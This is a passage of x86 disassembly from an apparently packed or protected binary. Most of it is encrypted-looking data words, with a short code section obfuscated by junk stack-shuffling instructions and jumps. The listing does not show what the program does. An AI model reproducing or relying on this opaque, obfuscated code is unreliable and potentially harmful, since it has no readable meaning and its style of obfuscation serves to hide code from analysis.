3C87EFDCh, 6D88B4F1h, 0EB8A259Ch, 6D0CA71Eh, 0EB8A259Ch dd 0DD1CA312h, 4CBEE034h, 0CB08E216h, 0E2375E5Eh, 0A6CB42E7h dd 7BC66154h, 0B02A930h, 9A645EA4h, 94DFC3AFh, 0F7428AF9h dd 2162CEF6h, 9BD21D0Dh, 7CE51C1Eh, 0B43B86EFh, 89C0FD3Dh dd 71472F0Ch, 4D84CFF7h, 15D24FCEh, 75F7D9C7h, 35BAC92Ah dd 310CDD3Eh, 0D9E01DF4h, 0E9A623A2h, 49F7D983h, 5B02C1FEh dd 0FAD917AEh, 2E2F17ACh, 13D62063h, 9D720000h, 2FAA128h dd 79852CB3h, 0E214BB42h, 609D44CBh, 2B38D259h, 0DC635AA7h dd 68EFC635h, 0F57C4BC1h, 7F06BF4Eh, 9F5CD948h, 0FFEFE1D8h dd 906D92C6h, 2FBA229h, 6EED2CB3h, 0E21734F1h, 0C4994E7h dd 205D9DE0h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh, 0F25DEFDCh dd 2579CA27h, 0C458D0AAh, 34000000h, 8A259C6Dh, 0CA71EEBh dd 0A518EED5h, 0E920BF0Ah, 2E2E9BD8h, 12E7E21Ch, 0AC93CAFBh dd 83CE6950h, 6A118E4h, 18BF7EBBh, 9EA7BAE1h, 0F1FEBF11h dd 0EDD40BA6h, 0C56CA910h, 94114885h, 0EF7D3692h, 0EB2AB1FCh dd 24BFF604h, 0B5F59CD9h, 1CC44178h, 76F77184h, 0F675F42Bh dd 0DA15BC79h, 4D6096F7h, 34E67B2h, 5712EFC6h, 0EAA724A7h dd 4AF7DA15h, 0E269B4FFh, 0B9F7CE3Bh, 2F173E10h, 0F1F63904h dd 57000012h, 0DF860DA0h, 6A11982Fh, 0F9A0279Eh, 8229B007h dd 1DB73E87h, 48718C36h, 0D4E11AC1h, 6154A64Dh, 0EBDA33DAh dd 41BE2D64h, 0EFE1D984h, 6D77ABE4h, 0FBA22990h, 0ED2CB302h dd 28C3FA06h, 6D74A0DDh, 0EB8A259Ch, 751CA312h, 0F8973289h dd 0D29B001h, 5F9CDCF5h, 1D0DAB28h, 1291EF7Ch, 0DC1CD895h dd 679938EFh, 1F6AB550h, 154691E2h, 843BC7AEh, 2B34AE9h dd 530D7AB7h, 57E7664Ch, 0B471EE17h, 14E7664Dh, 0E03278B3h dd 0AEF99D01h, 1DAF2C63h, 0A9EF0116h, 0E17C49C2h, 0BD085996h dd 0E26BB322h, 0EFE9D28h, 86D11CB7h, 0B7DCD24Fh, 4930F6F6h dd 1AA102B1h, 43445E8Ah, 0CB2C7DBAh, 941AF7DEh, 98CF1A8Bh dd 0E26958B1h, 0EAA724A3h, 4AF75E8Ah, 12EBC2FFh, 0B55A65A3h dd 0DBA62F9Ch, 120F98h, 0EFC63900h, 7A49C168h, 9B04CF3h dd 9225DB82h, 2099640Bh, 6E14FF99h, 0FCA32A93h, 882FB60Fh dd 15BC4372h, 0F46CDE4h, 0DA6623A0h, 8DC6EFE1h, 259C6D59h dd 9ED31B8Ah, 240CEA67h, 4DAEEF7Ch, 51ACB60Eh, 2182CD68h dd 3E897E37h, 0C8F910B7h, 6154AA91h, 9AE25124h, 0A3B12E65h dd 45F77444h, 2DDCC3FAh, 97660D94h, 0D414831Eh, 0F5E36097h dd 57FF7403h, 1FEED50Ch, 81781FA6h, 0FC972EDCh, 4870D09Bh dd 0D01B84F3h, 91674E85h, 0FB38831Eh, 5071B928h, 0DBB016D3h dd 26E32EFFh, 5CE9AA3Dh, 76ADF843h, 0CBFA10F7h, 0BF7CF930h dd 1FFFDB2Ch, 0DF4C89D4h, 7754421h, 0C7FA3883h, 313F13FEh dd 114A2366h, 9FE0000h, 76862DB4h, 0F511B83Fh, 6EA047CEh dd 0DC29D057h, 0DFC45EE5h, 68EFD633h, 0F47B4AC1h, 8108BF4Dh dd 0B9223DAh, 2BE865D4h, 8BEFE1DBh, 906D1E52h, 0F20BF229h dd 0A0DD28C3h, 0ED226AE1h, 0BA5037B6h, 0A761CE0Bh, 0E3EF7C22h dd 332AE764h, 3F8AEFDCh, 2F66B102h, 6702B348h, 0D50CDF1Ch dd 10AB12EEh, 874164C5h, 9B2C35ABh, 3F76875Eh, 0C9F811B8h dd 427FBF2Eh, 55A58C0Bh, 0C6B4215Eh, 28F7767Fh, 0CAE542DDh dd 0EEC736FFh, 0CB412867h, 0D018BFFCh, 2DE7649Bh, 87FF709Eh dd 0B02A13Ch, 77921FBAh, 9CD119ACh, 313DE665h, 299C6F45h dd 1DE2438Eh, 47B4F176h, 76AAB8Dh, 31C9B0E7h, 679CE782h dd 7CABAAAh, 3D74BF0Ah, 0D613AA56h, 28997017h, 38F572F1h dd 9807CABBh, 0BB27E461h, 3C8707CAh, 0ACE1B4F1h, 7CACAF3h dd 0E47F36C5h, 5FFEB545h, 7E47C2A9h, 0E4619833h, 7CACB27h dd 95B03C87h, 6615FCAh, 0DE837A3Bh, 0FEC54128h, 82CD18B3h dd 0B8A554FBh, 89246F46h, 669DD21Ah, 64ED8BE9h, 5BE22D0Fh dd 0A11E9D1Ch, 0FC4EDE4h, 7C4F944h, 670FC4EEh, 39807D1Ch dd 0CA16539Eh, 3976B68Fh, 9C6F8502h, 0EA21175Ch, 0C4ACB06Dh dd 7AC51017h, 0EFBE249h, 94D11CB7h, 0DE7940BDh, 0C4ACF0A9h dd 18812A17h, 0EE2D5C55h, 0F139E01Dh, 6C9E85BCh, 2733F06Dh dd 489317C4h, 0D451C0FDh, 1F5BD5DEh, 0E7CE0550h, 0D9189F16h dd 1CD1B830h, 0E11ED5ACh, 27C2F30Ah, 6447D88h, 1701E985h dd 0A5256833h, 0A300000Fh, 2BD2596Ch, 0B65DE4D3h, 45EC734Ah dd 0CE75FCB3h, 69038A33h, 942DD87Ah, 2095660Dh, 0AD18F299h dd 378E7F26h, 8D0A79B0h, 0EFE1DCD0h, 6DC3F730h, 0FBA22990h dd 0CC179D02h, 0E443007Dh, 58A3E7E2h, 9ED4A8F7h, 0E019B853h dd 9E1B9AD1h, 0E7E2FCE1h, 42BFF641h, 0E7E2FD85h, 8A5D9AE5h dd 9F66318Ch, 95D0576Eh, 0D750DBAEh, 1BE23h, 7A13BC00h dd 8E4BC8FDh, 0EEE7E217h, 11BE42A3h, 6DE71350h, 0EB8A259Ch dd 0A51CA312h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h, 0EFDC410Ch dd 7F711A99h, 0CB8805BAh, 2BEFDCD2h, 5C177FE0h, 6D12C69h dd 0AAA498ABh, 359A43D0h, 0C3D563C4h, 4A75EE2Bh, 0E000000h dd 2355128Fh, 6AB5EFDCh, 5D9D012Dh, 3A6CE920h, 86EF7C1Fh dd 0BC576E9Fh, 82E33471h, 7D0BC1EDh, 0DF5C9379h, 0EFDC9122h dd 51EC3782h, 0DC91631Ch, 0BA85F0EFh, 0AA47DC67h, 0D1F5D0h dd 0A78E0000h, 2AC9645Bh, 5E9BE6DFh, 0D956D532h, 0E7E2171Ch dd 1DF4317Ch, 9B3AD5ECh, 1DBC576Eh, 388F81ECh, 6C07529Dh dd 0C16F3CCDh, 4E452104h, 0A6E56CB7h, 40774EBFh, 0E26606C3h dd 0DE1B66E7h, 0E26A7171h, 0DA455E7h, 0AB12EFD6h, 0F038AF6Eh dd 0DD0784BBh, 19EF76B7h, 88E9DC32h, 0EE91F267h, 92E32029h dd 7B671047h, 0AD0BB701h, 0EAD1407Dh, 781FA61Fh, 9C25E08Dh dd 1DA86201h, 0A1EC3782h, 1D134263h, 78BB8627h, 0E1Ch dd 5BE2DB2Ch, 0E66D44B4h, 75FCC33Fh, 0FE8538CEh, 8C13AA57h dd 0A461E1F2h, 1CEF961Dh, 817B22A9h, 0F108AF36h, 930239C0h dd 0E1DE5916h, 4C80B9EFh, 0F229906Dh, 0A2295649h, 81BE6440h dd 0D3E21BC2h, 7047B59Ch, 0D5787433h, 603E042Ch, 0DB18C626h dd 21BCF504h, 0B33A8B82h, 0DDAEFD0Ch, 0DEBE3BEDh, 6DC40B1Ah dd 4C97D2A5h, 27E3CA01h, 99B45F8Ah, 327D9233h, 6BB322F5h dd 9980FF36h dd 6CB75261h, 0F22CC22Fh, 3FDEEF7Ch, 0CE99FACDh, 0B212ABEh dd 9CDB62ADh, 0D26D44B5h, 0A110E887h, 749E964h, 6DC50000h dd 598E2990h, 0E7E216A0h, 35D15AA2h, 630C438Eh, 0E98441A4h dd 6DDC19B0h, 79F7D2F0h, 0F22974EFh, 9C6FF20Bh, 0F18C23D5h dd 89105BA6h, 0FF9A2BE2h, 0DE1CA560h, 271F30C9h, 39E92CF7h dd 0F00000Dh, 973EC5F8h, 22C95067h, 0B158DFE6h, 3AE1685Fh dd 0D56FF6CFh, 0B944CEh, 8C39D279h, 19AC5E05h, 0A312EB92h dd 0F976E51Ch, 0EFE1DF3Ch, 6D2F639Ch, 3C03D90h, 45E7E217h dd 0E2170BC8h, 7206BE7h, 43EA71BCh, 0C160FBCAh, 3E9B6348h dd 0F0911E5Fh, 9F6B0AA5h, 1EEE8D28h, 647F0CA7h, 0AC74499h dd 6AE7E306h, 7BD6D41Fh, 9D14E5B0h, 3A8D7F66h, 0EC1F3E9Fh dd 2593EBD9h, 9FDE9DDAh, 367342B8h, 506E78CBh, 1459D7h dd 0D5350000h, 10AB12EEh, 0D1B88C5h, 7DE7E212h, 0FFFD763Ah dd 1ED716FFh, 20E7E217h, 0EF6CA3D8h, 0EF79C5C9h, 942DDC7Bh dd 0D22B1249h, 0EBCB0FCDh, 0A8EC350Ch, 7E298491h, 3CC30E59h dd 0B24D6495h, 837BF613h, 34E9934h, 1FBF28C5h, 0C609D427h dd 0C5Ch, 1BA21BECh, 0A62D8474h, 35BC03FFh, 0BE45788Eh dd 4CD3EA17h, 0E421A1B2h, 5CAF56DDh, 0C13BE269h, 31C86FF6h dd 53C2F980h, 0E1E019D6h, 0C4079EFh, 66E02CD5h, 0C523353Ch dd 1558B188h, 0E631CCE3h, 0A861009Bh, 0E663E219h, 0E7E2C429h dd 0A61FEA89h, 3875C00Bh, 7E37C665h, 12B744E3h, 0E2C3D895h dd 0A2ED38E7h, 95607B07h, 38B72624h, 6F0AB951h, 0C432EF24h dd 4792E7E2h, 21E4AF0Ah, 1752D9E8h, 0D750902Ch, 0A8B06AFh dd 0AAF458E5h, 0DF46Dh, 0D7D00000h, 0E7E211C9h, 0FC99F639h dd 9DD2FFFFh, 2E9205Dh, 0D924BF06h, 8AB02D9Ch, 3CEF7C48h dd 5005A8DBh, 7CC70C57h, 0E4F2ACE1h, 1681EFDCh, 0F00BF24Bh dd 0A2DF2AC5h, 0AAF70C37h, 1A7C5D0h, 0D7A10000h, 0E7E2170Eh dd 81781F74h, 0B02A930h, 49EA1FBAh, 0ADE7E217h, 0E956FF7Eh dd 4B320761h, 0A1621F54h, 77C2E7E2h, 0B914DF3Ah, 528F36D2h dd 29DF827Bh, 2D144B96h, 0B54BEAD1h, 0DF1C6702h, 0FFAE120h dd 8DD279B6h, 0E31AB954h, 55A44BD2h, 38CC15Ch, 0D0E7E2A1h dd 24916A51h, 0A6013E89h, 0B3BD86DBh, 3E14D750h, 0F0000001h dd 8A259C6Dh, 6CA312EBh, 0AA9B4EC3h, 0E21F28AFh, 2F6CAC23h dd 7F757BF8h, 9CE7EF7Ch, 2BE3CA01h, 0A662019Ch, 2A97D41Fh dd 0EFDC8F71h, 69C893FEh, 0D0AA41DAh, 3DF7h, 5D9DD300h dd 0ED8831CCh, 0A32057A2h, 0EF7C1F71h, 0BEF590DBh, 0C83E25D7h dd 0AE0FAAF5h, 2DB3C955h, 0F758A32Eh, 706E6482h, 3CA9E6A0h dd 0EFDC6D83h, 87DAA510h, 0D0AA6BBCh, 0BA15h, 9C6DF100h dd 1EEB8A25h, 9C6D0CA7h, 1D45EE25h, 0DC79D9E6h, 348D4AC7h dd 0A2EDE7E2h, 744DB857h, 34C56437h, 51B9F67Dh, 8DE7E23Ch dd 0FE0B56A6h, 96E12CC7h, 3A8B8259h, 0BFFC3CB3h, 99E10B88h dd 0F03BEF76h, 8E37D2B9h, 1CA56007h, 1DD525DEh, 0D518E327h dd 0A54h, 23AA03F4h, 0AE358C7Ch, 3DC4FB07h, 0C64D6096h dd 54DBE21Fh, 0DC29A9BAh, 44B75EE5h, 0C943EA71h, 39D077FEh dd 5BCA0188h, 0E1E221DEh, 144881EFh, 1CD956D5h, 7CE7E217h dd 0FF9A21DDh, 1D0869B4h, 121F57C3h, 0FDD411h, 0CF332B9h dd 0E12CC7FEh, 313CCDA4h, 679EE9D8h, 0AAAE6BE8h, 0C30EE7E2h dd 6DCBC786h, 0EB8A259Ch, 0D11CA312h, 3B3h, 23FCF8ADh dd 0F26FA6DBh, 0EF79C5DFh, 0AC13448Fh, 0E37E35C5h, 74B45B98h dd 0E6328221h, 24DE9F9h, 2204ECBh, 0E382F77Ch, 0B8539E29h dd 566F9A81h, 3AD170BBh, 68A5F08Bh, 0DC1442FBh, 9964CFF7h dd 0A9C4FB48h, 32FD6D8h, 0D5B20000h, 3AB1AD56h, 0BB76490Dh dd 0E29DC986h, 3FDE29E7h, 115CF7CEh, 9DAE67D4h, 26EAE7E2h dd 7AE7E29Eh, 3FB7693h, 83CE69B4h, 225F9F46h, 76856CEBh dd 6F95023Fh, 21EF7CA0h, 4AE198D6h, 0C893271Ah, 95385h dd 0AB02F500h, 368D7D24h, 0C5FC08AFh, 4E61973Eh, 0DCE520C7h dd 2AA8BB55h, 0B85FE6DFh, 44EB7243h, 0D178FFB6h, 0CB028938h dd 0E322DF5Ch, 4982EFE1h, 259C6D15h, 9E6C538Ah, 0FB43EA27h dd 56A88FC6h, 3C79C45Fh, 2BA54ECDh, 7A4387BCh, 611B88C5h dd 0BBEF7A48h, 2A72E970h, 25D7BEF5h, 6FACF792h, 6E9A8100h dd 885BC57h, 0EFE25A4Bh, 0D81560ABh, 7A06AD6Bh, 9E700FF7h dd 0E22B8611h, 125D1CE1h, 52A990C7h, 0BE9FDC63h, 10F7E277h dd 620990CDh, 0E2811CA9h, 90FF9A2Bh, 5FDC1348h, 0FF7C769Dh dd 0B17EBC07h, 6F371AB2h, 8A661A4h, 6DA20000h, 0D22AD158h dd 49B55CE3h, 0B244EB72h, 30CD74FBh, 7B680289h, 0C932AD7h dd 981F9665h, 25AC1BF1h, 0AF368F7Eh, 0CF8C0978h, 2FEFE1E3h dd 5D9DC2F6h, 0EB863FCCh, 0A11E55A0h, 0EF79C3E3h, 6E2BA827h dd 0CEEFE1D6h, 9EE9DC2Fh, 8EC51061h, 0D5D5920Fh, 0EA35EFE1h dd 0A4573EADh, 28E38A11h, 4B93029Dh, 0E160DF16h, 0E1D5A764h dd 7FBC07EFh, 79835812h, 0CC67B2F7h, 6CC0EC95h, 0F3FE831Ch dd 92CF0FB6h, 39E0DE5Bh, 0F742FF7Ch, 1AE5F4B9h, 92D5A037h dd 810h, 67EEC738h, 0F27948C0h, 8108BF4Bh, 0A9124DAh, 981FA663h dd 906D15FEh, 0FBA229h, 75872EB5h, 0E514BB42h, 9F0E45CCh dd 0E1E46522h, 588CC5EFh, 0EE259C6Dh, 83C0F707h, 0C9F811B0h dd 0AD5302Eh, 7C03B24Bh, 5039F241h, 1CF2D9D7h, 86C30EA9h dd 1500Dh, 5D9DE900h, 7E6CE920h, 0C2EF7C17h, 0B38021DBh dd 69CB5E1h, 3586C30Eh, 44F6696h, 0DF7B3469h, 9D08EFDCh dd 0F1B47FD2h, 220DD0AAh, 0E9000001h, 8A259C6Dh, 0D0E8AA53h dd 82F28850h, 269F6E45h, 0ABE0289Fh, 24F1F774h, 1863EF7Dh dd 358F487Dh, 0B11CEFDDh, 27B88BE6h, 3119D0ABh, 0F5000000h dd 0A71EEED5h, 0DD84C10Ch, 0AA29609Dh, 0E217702Dh, 4885D0E7h dd 1F2A5CD9h, 4994EF7Ch, 2EC079AEh, 0E24DEFDCh, 2589BA17h dd 0A648D0AAh, 24000000h, 0EE259C6Dh, 1057E445h, 0BAF72C87h dd 4BD48E7h, 52CF4ECDh, 0E7E2E895h, 0B875AAF5h, 0FAE7E2E8h dd 0E2E8C07Dh, 0BCD520E7h, 0C2613471h, 0DDD0264Bh, 0A158F792h dd 7C4C8910h, 8E7E2F5h, 0A1DEE521h, 0FB8233CAh, 0D0074484h dd 77542953h, 13883EFh, 4FD6EF1Ah, 26645DA8h, 271D0F75h dd 0C9F53803h, 7F000006h, 7AE3588h, 9239C0F7h, 21C84F76h dd 0AA51D8EFh, 45DF665Fh, 7049B45Eh, 0FCC942E9h, 893CCE75h dd 13A25B02h, 69E6558Ch, 0EFE1E5ACh, 6D9FD30Ch, 49F22990h dd 9A5BAC9Fh, 985794EFh, 22A918F1h, 13EED526h, 8F436594h dd 0B702E18Ch, 0BD94D11Ch, 3BDA754Ch, 216CF3C2h, 3Bh, 2ABBF8FDh dd 0CD46A981h, 94D1A15Fh, 3970ADEDh, 9037D3BAh, 0F6D2E653h dd 3984EF79h, 4DF6C408h, 1C99D00Dh, 0F779B463h, 0CC3F70BBh dd 5Dh, 0AC69E665h, 0CF7E1C5h, 9D5884C1h, 873ECC5Dh, 49F16E8h dd 0BA376EB9h, 0EF7C395Ch, 0E118B3FEh, 76B302FAh, 7397F509h dd 390427DFh, 0F82F6CACh, 69BB894Fh, 3E9F6EADh, 0CD0659EAh dd 950441A6h, 7660BA18h, 0A1573EF7h, 3580D10Eh, 0D3EA17FEh dd 0B198D796h, 0B6316E55h, 0AEh, 205D9D92h, 0C5566CE9h dd 0BD08EF79h, 60BC65CCh, 5A7D7C1Dh, 0AA13EE8Dh, 1953216Dh dd 9DA6FBC6h, 34D0AFA6h, 7Ah, 205D9D10h, 30ED6AE9h, 90E7E217h dd 1C990845h, 0EF79C609h, 0D6EF1AB9h dd 88569A8Bh, 900E74Eh, 55207BB8h, 0AF8237FCh, 4C8AD0h dd 9D660000h, 6CE9205Dh, 0EF79C558h, 0A188BF0Ah, 32EF6C6Fh dd 92EFE1D6h, 48C5FC47h, 0EFE1D68Bh, 3A63A0EBh, 28832AD3h dd 0C1414FF5h, 916A3884h, 13B24D74h, 902FCAFDh, 65B04B7Ah dd 6BDEA9CCh, 0F44D186Bh, 0D0AF524Fh, 0D82h, 0E9D75E00h dd 19E7E220h, 0FFFF02D6h, 5D9DB2FFh, 826CE920h, 0DCEF79C5h dd 4787F691h, 0D754D30Ah, 0EFE1D51Ah, 83F22F7Ah, 79824D06h dd 235AA5F7h, 0D1C6677Ah, 0EE2BDDF1h, 2F6CAC1Bh, 0E28D7BF8h dd 50EFFF78h, 88BF0ABBh, 0D35A69A1h, 0A8DF1C5Ch, 0F1EFAC29h dd 44FFFE0h, 1DDB58C7h, 6107789Fh, 9A35807Ah, 76C1124Fh dd 13A2583Fh, 4A814F8Ch, 6C9D8FBFh, 5D2FEC69h, 0F309A007h dd 0C5DE29C4h, 4108197Ah, 4922D96Ch, 39D077FEh, 3E7EED88h dd 0CC4BCA01h, 7D2924Fh, 0B653F2A0h, 1A87C40Fh, 0A7A1EA2Ch dd 9A8438Eh, 2B9A70F3h, 50A645E0h, 1B36C25Dh, 617CD950h dd 873ECF96h, 14A35900h, 9322DA79h, 0BE3D6CF8h, 1FC8441h dd 5C99E4A8h, 9D6F3601h, 0EFCA32Ah, 0FEE51CB7h, 8120BB02h dd 0B3F03B8Ah, 94F70B67h, 0C7FE0CC9h, 2CD54440h, 6B66EC0Ah dd 0F79EDB50h, 984178B1h, 0B1C1EB57h, 3B0E4B6Dh, 0B9546D9Ch dd 0AF46112Ch, 12F93069h, 0CD8CC9FCh, 0EDDED726h, 5AB5DCA9h dd 7E37C68Fh, 1AAB6047h, 6895347Fh, 2E6BB651h, 0AF06F6C5h dd 8A22DF14h, 233EE7E2h, 3F4CF558h, 0F314D9F6h, 3F4DCF00h dd 11B73DDEh, 0B60DFDD4h, 0C683007Fh, 26E7E24Dh, 0A0DF9EDBh dd 0D57047B9h, 4E64219Eh, 79C4E7E2h, 4BEBCD2Eh, 0A5E46307h dd 4C7B9168h, 0B7346C15h, 0F451BA10h, 0F5AFE4B7h, 32E7E2B8h dd 0C339FCC7h, 852E6DF4h, 30CC5E0h, 0C936737Ch, 0E7E2B447h dd 0B4591693h, 6EB9E7E2h, 0F505EC23h, 9BD823BEh, 50A40C30h dd 0FF40BDD7h, 6D99FFFFh, 0F79E259Ch, 844B9906h, 0A17641AFh dd 71D28678h, 6FBA2A40h, 8BF5138h, 3AD3A2CBh, 35CB9A8Bh dd 0B048E782h, 26A4D2EBh, 438EDD38h, 0C0F709A8h, 324DDA25h dd 0ECE6DC67h, 29B8D542h, 582346DEh, 14457C8Dh, 507882B1h dd 483FD7h, 9D1B0000h, 6CE9205Dh, 0EF79C3B3h, 68CFC00Bh dd 0D6581ABFh, 0CA078107h, 0A8DFB17Eh, 3F7C4BC1h, 45C419E4h dd 801BA25Eh, 0E4430035h, 955BEFE1h, 407C8581h, 0ED2A758Eh dd 92C90646h, 79395C15h, 3869B4F7h, 4CC5h, 5D9DA100h, 0EE8930CCh dd 0A42158A3h, 0EF79C3EBh, 0C307F843h, 80E11AF3h, 56F13C85h dd 0D8734AB7h, 45B47FDAh, 3BCA95C0h, 0A87BEF3h, 0F7798351h dd 5F56A48Bh, 0EB3C79C4h, 89086FA0h, 0E1954F0Ch, 2D64AFF7h dd 0E194F3B0h, 0CB0853F7h, 259C6D9Fh, 0A312EB8Ah, 2865A51Ch dd 316E74F1h, 95E0EF7Ch, 410CC5FAh, 2E99EFDCh, 0EB230A63h dd 0F349FDCh, 0C2D0AA13h, 20h, 205D9D9Eh, 1F3A6CE9h, 59A4EF7Ch dd 2ED089BEh, 0F25DEFDCh, 2579CA27h, 1358D0AAh, 34000001h dd 0EE259C6Dh, 84C1F407h, 78937AB1h, 0EE51B24Dh, 0B2BF0AB9h dd 0E62384CFh, 0A3D4427Ch, 0EB16ED2Ah, 619837D2h, 0FF7EB550h dd 0BB460380h, 5BA6E7E2h, 0E2BB6926h, 1592C9E7h, 0E7E2BB58h dd 0E5226DB8h, 9A72FF0Eh, 0FA45902Bh, 0C0363673h, 382E7E2h dd 0E2BFC986h, 0A1DE29E7h, 0FB8233CAh, 710CA554h, 4E85BA02h dd 7CD397D1h, 11BAF1EFh, 0E2BEC35Ah, 22DF14E6h, 82EFDC2Fh dd 0CEB5EC37h, 9FEA8538h, 0EC2CA362h, 7CF978AFh, 0EFDC2EBFh dd 209DD41Fh, 0EFDC2F63h, 0CC3B78C3h, 70920F4Fh, 0F72E79F7h dd 123EFB78h, 539EF7D9h, 45C0A716h, 0A25E457Ch, 0F835801Bh dd 2851FA39h, 467F8E10h, 8B61B9E5h, 338A774Eh, 16AD5CF5h dd 0BAFDC82Fh, 194h, 0E36A43B4h, 6EF5CC3Ch, 0FD843BC7h dd 860DA056h, 149B22DFh, 1CE9697Ah, 84771EA5h, 903AA31h dd 799037BEh, 1B8AC148h, 0E1EAE19Eh, 0D40841EFh, 0A229906Dh dd 2CB302FBh, 9E0C44EDh, 0C6FB44E8h, 5D9D5D89h, 3A6CE920h dd 0A4EF7C1Fh, 288DC043h, 12B75A7Dh, 63DB7E93h, 0A07FE02Bh dd 3FBDC056h, 3267024Dh, 0EFDCD679h, 6C07BE4Bh, 0EB863DCDh dd 0F5642F52h, 86DBA611h, 0D0AA82BDh, 0CD14h, 3C04AD00h dd 0F2DD3859h, 685DAE4Dh, 194582CDh, 39D19C6Dh, 89083F8Ah dd 0E2174F0Ch, 571491E7h, 0B7E7E217h, 0FCF2536Ch, 63B85C28h dd 2F023F8Ah, 0B14C7590h, 0E28D7C7Ch, 18A960E7h, 0A213EA91h dd 0A7B5C26Bh, 0BF834133h, 0F840AF82h, 640D8CC3h, 7381DDB7h dd 0E3508D44h, 0EF7C9FA9h, 9A81B803h, 57165362h, 2C6398E0h dd 70EECAAFh, 0F82F7AF7h, 64E1F411h, 0F7D980A7h, 0EA71BC07h dd 8138C4ABh, 29906D44h, 17AA44EBh, 0A6E9B42Fh, 84h, 0F37A33C4h dd 7E05BC4Ch, 0D942BD7h, 961D9066h, 24AB12EFh, 0CF9998Ah dd 74872EB5h, 0F913BA41h, 69A047CEh, 2B9AD158h, 0E1EBF1AEh dd 0E41851EFh, 0AA13EED5h, 526B966Dh, 0DCD524CBh, 0EED55955h dd 0C20DA81Dh, 665FAE85h, 0E4DD2CCBh, 6E47B65Dh, 0F8C940E7h dd 0CE3F265Dh, 0D64DBAF7h, 0BA2666AEh, 0F811D49Fh, 0E22D8475h dd 6C45B45Bh, 0E9DC32D1h, 0BD6F14Eh, 7B02B34Ah, 0F18C25D4h dd 3AEh, 0B6DA8A00h, 88239A6Dh, 6A110E9h, 87229567h, 7A213E8h dd 89249D68h, 0BA61FEAh, 88239A6Ch, 0BA61DE9h, 8A259C6Ch dd 0E18951FAh, 4C181h, 0E9830000h, 74FF5104h, 8F590424h db 4, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 7FFC0D7h mov esi, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push 3464h mov [esp], esi pop dword ptr [ecx+8] push dword ptr [esp] pop ecx add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59895C ; --------------------------------------------------------------------------- db 0E9h, 0A0h, 93h dd 559CBD83h, 0B97EE1A7h, 0B8154FB7h, 7FFD600h, 0E0FFC503h dd 7DF06D8Bh, 79DCE61Ch, 431B5B8h, 8E786E7h, 7A4DBD33h dd 4427E416h, 1F018A3h, 586D6123h, 9F76AA8h, 631D9FAEh dd 9AFF477h, 2691FCC2h, 25840B34h, 1BB25D08h, 0A829ACBh dd 1FADE65Ch, 43984D80h, 7C832891h, 4E3B0E42h, 83ACF70h dd 7A928801h, 7DE1168Ah, 3BA5F364h, 44ADC722h, 282C8ED1h dd 23651915h, 38FB4911h, 6D969F53h, 12FD1745h, 795535DDh dd 0D80F8D8Dh, 6A07FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0CB1448C3h, 0A41F1EE8h, 3350C478h dd 0FA31A585h, 8D895F07h, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 62C35747h, 0E91A610Dh, 0Fh dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 0C7F72340h, 0FA31AD85h dd 750807h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 22EDEFCDh, 0C7DD0EC0h, 0FA2BD985h dd 7, 8E0F00h, 0FF000000h, 0FA16F1B5h, 7DBD2307h, 0E907FA0Eh dd 0Ch, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 179995FFh, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 30190FC3h, 0B2D70B17h, 89089CFAh, 0FA0211B5h, 0FF006A07h dd 0FA101995h, 0EBC08B07h, 7565C40Bh, 7FD26EE2h, 0CFDBDF15h dd 0D9048D8Dh, 6A07FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B6899C3h, 0D98D89F2h, 6A07FA1Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F0EC352h, 0F681C6BFh, 6E5967EDh, 31AD85C7h dd 643407FAh, 13E90000h, 69000000h, 0C25789B0h, 0A439FC54h dd 0A352A0A2h, 0DD6E473Fh, 85C7A9C5h, 7FA2BD9h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C35343h dd 0EE8h, 0EB684700h, 88D5BCA9h, 15606CD5h, 5612825Ah dd 0CE9h, 7F6D2500h, 59ED8446h, 5D5DA15Fh, 665F5AE1h, 270DCE81h dd 167DB5FFh, 0F5607FAh, 80h, 95FF5A00h, 7FA1799h, 0B818D31h dd 6A07FAh, 101995FFh, 0C08B07FAh, 0F3E0EEBh, 4DCBD7FAh dd 203DB149h, 77EE0355h, 0D9B48D8Dh, 816607FFh, 89FCB4C0h dd 0FA1CD98Dh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0D5EFE5DFh, 85C725B6h dd 7FA31ADh, 6B38h, 2BD985C7h, 7FAh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 507B8DC3h dd 9F03BA66h, 6E95Eh, 0E7960000h, 6B748A71h, 2515B5FFh dd 950107FAh, 7FA29B5h, 8016BB66h, 179995FFh, 830F07FAh dd 6, 67D958Bh, 6A07FAh, 101995FFh, 0C08B07FAh, 7C8B08EBh dd 931AEDD7h, 0C08BDA3Dh, 0AE957h, 652A0000h, 4F930C5Bh dd 0D54F7791h, 0CDBD835Bh, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 3FCh, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 3FCh, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 81C35747h, 0BA665AF6h, 8E0FAE40h dd 19h, 138F0Fh, 0DE80000h, 0D6000000h, 98B75CB0h, 0F5872D2Ch dd 5529ADDh, 8BC08B5Ah, 0EDBD83D0h, 107FA33h, 73840Fh dd 0BF0F0000h, 